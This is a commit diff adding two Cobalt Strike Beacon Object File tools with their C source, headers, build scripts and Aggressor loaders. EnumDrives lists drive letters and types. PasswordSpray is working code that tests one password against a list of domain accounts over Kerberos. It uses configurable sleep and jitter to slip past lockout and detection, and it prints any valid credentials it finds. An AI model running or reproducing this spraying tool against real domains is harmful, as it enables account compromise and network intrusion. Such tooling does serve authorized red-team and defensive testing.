RTO před 1 rokem
rodič
revize
179fe0919d

+ 16 - 0
KIT/EnumDrives/README.md

@@ -0,0 +1,16 @@
+# EnumDrives
+Enumerate drive letters and type.
+
+## Usage
+* `enumdrives`
+
+
+## Examples
+* `enumdrives`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumDrives/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumDrives/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumdrives.c
+move /y enumdrives.obj enumdrives.o
+

+ 126 - 0
KIT/EnumDrives/enumdrives.c

@@ -0,0 +1,126 @@
+#include <windows.h>
+#include <stdio.h>
+#include "enumdrives.h"
+#include "beacon.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+void printDriveType(const char* drive) {
+    UINT driveType = KERNEL32$GetDriveTypeA(drive);
+	
+    if (driveType == DRIVE_UNKNOWN) {
+        internal_printf("%s\t[Unknown drive type]\n", drive);
+    } else if (driveType == DRIVE_NO_ROOT_DIR) {
+        internal_printf("%s\t[Invalid root path]\n", drive);
+    } else if (driveType == DRIVE_REMOVABLE) {
+        internal_printf("%s\t[Removable drive]\n", drive);
+    } else if (driveType == DRIVE_FIXED) {
+        internal_printf("%s\t[Fixed drive]\n", drive);
+    } else if (driveType == DRIVE_REMOTE) {
+        internal_printf("%s\t[Network drive]\n", drive);
+    } else if (driveType == DRIVE_CDROM) {
+        internal_printf("%s\t[CD-ROM drive]\n", drive);
+    } else if (driveType == DRIVE_RAMDISK) {
+        internal_printf("%s\t[RAM disk]\n", drive);
+    } else {
+        internal_printf("%s\t[Unknown drive type]\n", drive);
+    }
+}
+
+int go() {
+	if(!bofstart()) return;
+	
+    // Buffer to store drive strings
+    char driveStrings[256];
+    DWORD length = KERNEL32$GetLogicalDriveStringsA(sizeof(driveStrings), driveStrings);
+
+    if (length == 0) {
+        BeaconPrintf(CALLBACK_ERROR, "[-] Failed to get logical drive strings.\n");
+        return 1;
+    }
+
+    internal_printf("[+] Available drive letters:\n\nDRIVE\tTYPE\n==========================================\n");
+
+    // Iterate through the drive strings
+    for (char* drive = driveStrings; *drive; drive +=  MSVCRT$strlen(drive) + 1) {
+        printDriveType(drive);
+    }
+	
+	printoutput(TRUE);
+	BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished enumerating!\n"); 
+
+    return 0;
+}
+
+

+ 25 - 0
KIT/EnumDrives/enumdrives.cna

@@ -0,0 +1,25 @@
+# author REDMED-X
+
+beacon_command_register(
+	"enumdrives", "Enumerate drive letters and its type.",
+	"INFO:\nEnumerate drive letters and its type.\n\n" .
+	"USAGE:\nenumdrives\n\n");
+	
+alias enumdrives {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumdrives.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	$arg_data  = bof_pack($bid);
+
+	blog($bid, "Tasked to enumerate drive letters and its type..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
+

+ 21 - 0
KIT/EnumDrives/enumdrives.h

@@ -0,0 +1,21 @@
+
+//main
+WINBASEAPI DWORD WINAPI KERNEL32$GetLogicalDriveStringsA(DWORD nBufferLength, LPSTR lpBuffer);
+WINBASEAPI UINT WINAPI KERNEL32$GetDriveTypeA(LPCSTR lpRootPathName);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *str);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+
+
+

binární
KIT/EnumDrives/enumdrives.o


+ 26 - 0
KIT/PasswordSpray/README.md

@@ -0,0 +1,26 @@
+# PasswordSpray
+Validate a single password against multiple accounts using kerberos authentication and a list with predefined usrenames. The list can be loaded from your own attacker system.
+
+>A valid list with usrenames is considered newline separated. 
+
+## Arguments
+* `<path to username file>`: the path on your own attacker system to a file containing the list with usernames. Each username must be newline separated.
+* `<password>`: the password to validate against the usernames.
+* `<domain>`: FQDN of the domain.
+* `<sleeptimer>`: (optional) sleep timer in seconds to wait between each authentication attempt (default is 0).
+* `<jitter>`: (optional) jitter in percentage (default 0).
+	
+## Usage
+* `passwordspray <path to username file> <password> <domain> [opt <sleeptimer>] [opt <jitter>]`
+
+
+## Examples
+* `passwordspray C:\Users\redmed\Documents\usernames.txt Welcome01 example.local 10 40`
+* `passwordspray C:\Users\redmed\Documents\usernames.txt Welcome01 example.local`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/PasswordSpray/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/PasswordSpray/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc passwordspray.c
+move /y passwordspray.obj passwordspray.o
+

+ 325 - 0
KIT/PasswordSpray/passwordspray.c

@@ -0,0 +1,325 @@
+#define SECURITY_WIN32
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <windows.h>
+#include <security.h>
+#include <stdio.h>
+#include <time.h>
+#include <stdlib.h>
+#include <dsgetdc.h>
+#include <lm.h> 
+#include "passwordspray.h"
+#include "beacon.h"
+
+#pragma comment(lib, "secur32.lib")
+#pragma comment(lib, "ws2_32.lib")
+
+#define MAX_TOKEN_SIZE 12000
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+void sleeptimer_with_jitter(int base_seconds, int jitter_percent) {
+    MSVCRT$srand((unsigned int)MSVCRT$time(NULL));
+    int jitter_range = (base_seconds * jitter_percent) / 100;
+    int jitter = (MSVCRT$rand() % (2 * jitter_range + 1)) - jitter_range;
+    int total_sleep_time = base_seconds + jitter;
+
+    if (total_sleep_time < 0) {
+        total_sleep_time = 0;
+    }
+
+    clock_t end_time = MSVCRT$clock() + total_sleep_time * CLOCKS_PER_SEC;
+    while (MSVCRT$clock() < end_time) {
+        // Busy wait
+    }
+}
+
+
+BOOL authenticate_user(WCHAR* wDomain, WCHAR* wUsername, WCHAR* wPassword) {
+	LPWSTR wAuthPackage = L"Kerberos"; 
+    BOOL authResult = FALSE;
+    PBYTE clientToServerToken = NULL;
+    PBYTE serverToClientToken = NULL;
+    HINSTANCE secur32Handle = NULL;
+    CredHandle clientCredHandle;
+    CredHandle serverCredHandle;
+	
+    // Load the Secur32.dll library
+    secur32Handle = KERNEL32$LoadLibraryA("Secur32.dll");
+    if (secur32Handle == NULL) {
+        return FALSE;
+    }
+	
+    // Specify the credentials to verify
+    SEC_WINNT_AUTH_IDENTITY_EXW authIdentity = {
+        SEC_WINNT_AUTH_IDENTITY_VERSION,
+        sizeof(authIdentity),
+        (unsigned short *)wUsername,
+        (ULONG)MSVCRT$wcslen(wUsername),
+        (unsigned short *)wDomain,
+        (ULONG)MSVCRT$wcslen(wDomain),
+        (unsigned short *)wPassword,
+        (ULONG)MSVCRT$wcslen(wPassword),
+        SEC_WINNT_AUTH_IDENTITY_UNICODE,
+        0, 0
+    };
+
+    // Get an SSPI handle for these credentials
+    TimeStamp clientExpiry;
+    SECURITY_STATUS secStatus = SECUR32$AcquireCredentialsHandleW(NULL, wAuthPackage, SECPKG_CRED_OUTBOUND, NULL, &authIdentity, NULL, NULL, &clientCredHandle, &clientExpiry);
+    if (secStatus != SEC_E_OK) {
+        return FALSE;
+    }
+	
+    // Use the caller's credentials for the server
+    TimeStamp serverExpiry;
+    secStatus = SECUR32$AcquireCredentialsHandleW(
+        NULL, wAuthPackage, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &serverCredHandle, &serverExpiry);
+    if (secStatus != SEC_E_OK) {
+        goto CleanUp;
+    }
+	
+    CtxtHandle clientContextHandle;
+    CtxtHandle serverContextHandle;
+
+    // Allocate buffers for client-server and server-client tokens
+    clientToServerToken = (PBYTE)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_TOKEN_SIZE);
+    if (clientToServerToken == NULL) {
+        goto CleanUp;
+    }
+
+    serverToClientToken = (PBYTE)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_TOKEN_SIZE);
+    if (serverToClientToken == NULL) {
+        goto CleanUp;
+    }
+
+    SecBuffer clientToServerSecBuffer = { MAX_TOKEN_SIZE, SECBUFFER_TOKEN, clientToServerToken };
+    SecBuffer serverToClientSecBuffer = { MAX_TOKEN_SIZE, SECBUFFER_TOKEN, serverToClientToken };
+    SecBufferDesc clientToServerBufferDesc = { SECBUFFER_VERSION, 1, &clientToServerSecBuffer };
+    SecBufferDesc serverToClientBufferDesc = { SECBUFFER_VERSION, 1, &serverToClientSecBuffer };
+
+    DWORD clientContextAttributes = ISC_REQ_CONNECTION;
+    DWORD serverContextAttributes = ISC_REQ_CONNECTION;
+
+    PCtxtHandle clientContextHandleIn = NULL;
+    PCtxtHandle clientContextHandleOut = &clientContextHandle;
+    PCtxtHandle serverContextHandleIn = NULL;
+    PCtxtHandle serverContextHandleOut = &serverContextHandle;
+
+    SecBufferDesc* clientInputBuffer = NULL;
+    SecBufferDesc* clientOutputBuffer = &clientToServerBufferDesc;
+    SecBufferDesc* serverInputBuffer = &clientToServerBufferDesc;
+    SecBufferDesc* serverOutputBuffer = &serverToClientBufferDesc;
+
+    DWORD clientContextAttributesOut = 0;
+    DWORD serverContextAttributesOut = 0;
+    TimeStamp clientContextExpiry;
+    TimeStamp serverContextExpiry;
+
+    // Get a server principal name for Kerberos
+    WCHAR serverPrincipalName[256];
+    ULONG serverPrincipalNameLength = sizeof(serverPrincipalName) / sizeof(*serverPrincipalName);
+    secStatus = SECUR32$GetUserNameExW(NameSamCompatible, serverPrincipalName, &serverPrincipalNameLength);
+    if (secStatus == 0) {
+        goto CleanUp;
+    }
+
+    // Perform the authentication handshake
+    BOOL clientContinue = TRUE;
+    BOOL serverContinue = TRUE;
+    while (clientContinue || serverContinue) {
+        if (clientContinue) {
+            clientToServerSecBuffer.cbBuffer = MAX_TOKEN_SIZE;
+            secStatus = SECUR32$InitializeSecurityContextW(
+                &clientCredHandle, clientContextHandleIn, serverPrincipalName,
+                clientContextAttributes, 0, SECURITY_NATIVE_DREP,
+                clientInputBuffer, 0, clientContextHandleOut, clientOutputBuffer,
+                &clientContextAttributesOut, &clientContextExpiry);
+            switch (secStatus) {
+                case SEC_E_OK:
+                    clientContinue = FALSE;
+                    break;
+                case SEC_I_CONTINUE_NEEDED:
+                    clientContextHandleIn = clientContextHandleOut;
+                    clientInputBuffer = serverOutputBuffer;
+                    break;
+                default:
+                    goto CleanUp;
+            }
+        }
+
+        if (serverContinue) {
+            serverToClientSecBuffer.cbBuffer = MAX_TOKEN_SIZE;
+            secStatus = SECUR32$AcceptSecurityContext(
+                &serverCredHandle, serverContextHandleIn, serverInputBuffer,
+                serverContextAttributes, SECURITY_NATIVE_DREP,
+                serverContextHandleOut, serverOutputBuffer,
+                &serverContextAttributesOut, &serverContextExpiry);
+            switch (secStatus) {
+                case SEC_E_OK:
+                    serverContinue = FALSE;
+                    break;
+                case SEC_I_CONTINUE_NEEDED:
+                    serverContextHandleIn = serverContextHandleOut;
+                    break;
+                default:
+                    goto CleanUp;
+            }
+        }
+    }
+	SECUR32$DeleteSecurityContext(&clientContextHandle);
+	SECUR32$DeleteSecurityContext(&serverContextHandle);
+	
+    authResult = TRUE;
+
+CleanUp:
+    if (clientCredHandle.dwUpper || clientCredHandle.dwLower) {
+        SECUR32$FreeCredentialsHandle(&clientCredHandle);
+    }
+    if (serverCredHandle.dwUpper || serverCredHandle.dwLower) {
+        SECUR32$FreeCredentialsHandle(&serverCredHandle);
+    }
+    if (clientToServerToken) {
+        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, clientToServerToken);
+    }
+    if (serverToClientToken) {
+        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, serverToClientToken);
+    }
+
+    return authResult;
+}
+
+
+int go(char *args, int len) {
+	WCHAR* wDomain;
+    WCHAR* wPassword;
+	WCHAR wUsername[MAX_PATH];
+	char* username;
+	char* nextUsername;
+	int sleepDuration = 0; // in seconds
+    int jitterPercent = 0; // in percentage
+	int count = 0;
+	int iBytesLen = 0;
+    CHAR* usernameFileBytes;
+    datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+    usernameFileBytes = BeaconDataExtract(&parser, &iBytesLen);
+	wPassword = BeaconDataExtract(&parser, NULL);
+	wDomain = BeaconDataExtract(&parser, NULL);
+	sleepDuration = BeaconDataInt(&parser);
+    jitterPercent = BeaconDataInt(&parser); 
+	
+	if(!bofstart()) return;
+
+	if(iBytesLen != 0) {
+		// Log the domain controller being used
+		PDOMAIN_CONTROLLER_INFO dcInfo;
+		DWORD dcStatus = NETAPI32$DsGetDcNameW(NULL, wDomain, NULL, NULL, 0, &dcInfo);
+		if (dcStatus == ERROR_SUCCESS) {
+			internal_printf("[*] Authenticated to Domain Controller: %S\n============================================================\n\n", dcInfo->DomainControllerName);
+			NETAPI32$NetApiBufferFree(dcInfo);
+		}
+		
+		//start password spray
+		username = MSVCRT$strtok(usernameFileBytes, "\r\n");
+        while (username != NULL) {
+			nextUsername = MSVCRT$strtok(NULL, "\r\n");
+			
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, username, -1, wUsername, MAX_PATH);
+			BOOL result = authenticate_user(wDomain, wUsername, wPassword);
+			if (result) internal_printf("[+] Valid credentials found: %S\\%S:%S\n", wDomain, wUsername, wPassword);
+
+			sleeptimer_with_jitter(sleepDuration, jitterPercent);
+			count++;
+			
+            if (nextUsername == NULL) {
+                break;
+            }
+	        username = nextUsername;
+        }
+		printoutput(TRUE);
+	
+    } else {
+        BeaconPrintf(CALLBACK_ERROR, "Couldn't load the host file from disk.\n");
+    }
+
+	BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished spraying against %d accounts!\n", count); 
+    return 0;
+}
+
+
+
+
+

+ 46 - 0
KIT/PasswordSpray/passwordspray.cna

@@ -0,0 +1,46 @@
+# author REDMED-X
+
+beacon_command_register(
+	"passwordspray", "Validate single password against multiple accounts using kerberos authentication.",
+	"INFO:\nValidate single password against multiple accounts using kerberos authentication.\n\n" .
+	"ARGUMENTS:\n[path to username file]: the path on your own attacker system to a file containing the list with usernames. Each username must be newline separated.\n[password]: the password to validate.\n[domain]: FQDN of the domain.\n[sleeptimer]: (optional) sleep timer in seconds to wait between each authentication attempt (default is 0).\n[jitter]: (optional) jitter in percentage (default 0).\n\n" .
+	"USAGE:\npasswordspray <path to username file> <password> <domain> [opt <sleeptimer>] [opt <jitter>]\n\n" .
+	"EXAMPLES:\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local 10 40\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local\n\n");
+	
+alias passwordspray {
+    $bid = $1;
+	$path = $2;
+	$password = $3;
+	$domain = $4;
+	$timer = $5;
+	$jitter = $6;
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated usernames.\n");
+		return;
+	}
+	
+	if ($password eq "" || $domain eq "") {
+        berror($bid, "Please specify both password and domain name (FQDN).");
+        return;
+    }
+	
+
+	# read in the .txt file
+	$handle = openf("$path");
+	$file = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("passwordspray.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bZZii", $file, $password, $domain, $timer, $jitter);
+
+	blog($bid, "Tasked to start password spraying..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}

+ 52 - 0
KIT/PasswordSpray/passwordspray.h

@@ -0,0 +1,52 @@
+
+//main
+WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);
+WINBASEAPI PVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE hHeap, DWORD dwFlags, PVOID lpMem);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(VOID);
+
+WINBASEAPI int WINAPI MSVCRT$printf(const char *format, ...);
+WINBASEAPI size_t WINAPI MSVCRT$wcslen(const wchar_t *str);
+
+WINBASEAPI int WSAAPI WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
+WINBASEAPI int WSAAPI WS2_32$WSACleanup(void);
+WINBASEAPI int WSAAPI WS2_32$getaddrinfo(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA *pHints, PADDRINFOA *ppResult);
+WINBASEAPI void WSAAPI WS2_32$freeaddrinfo(PADDRINFOA pAddrInfo);
+
+WINBASEAPI BOOL WINAPI SECUR32$AcquireCredentialsHandleW(PCWSTR pszPrincipal, PCWSTR pszPackage, ULONG fCredentialUse, PVOID pvLogonId, PVOID pAuthData, SEC_GET_KEY_FN pGetKeyFn, PVOID pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
+WINBASEAPI SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle phCredential, PCtxtHandle phContext, SEC_WCHAR *pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
+WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcceptSecurityContext(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp);
+WINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext);
+WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential);
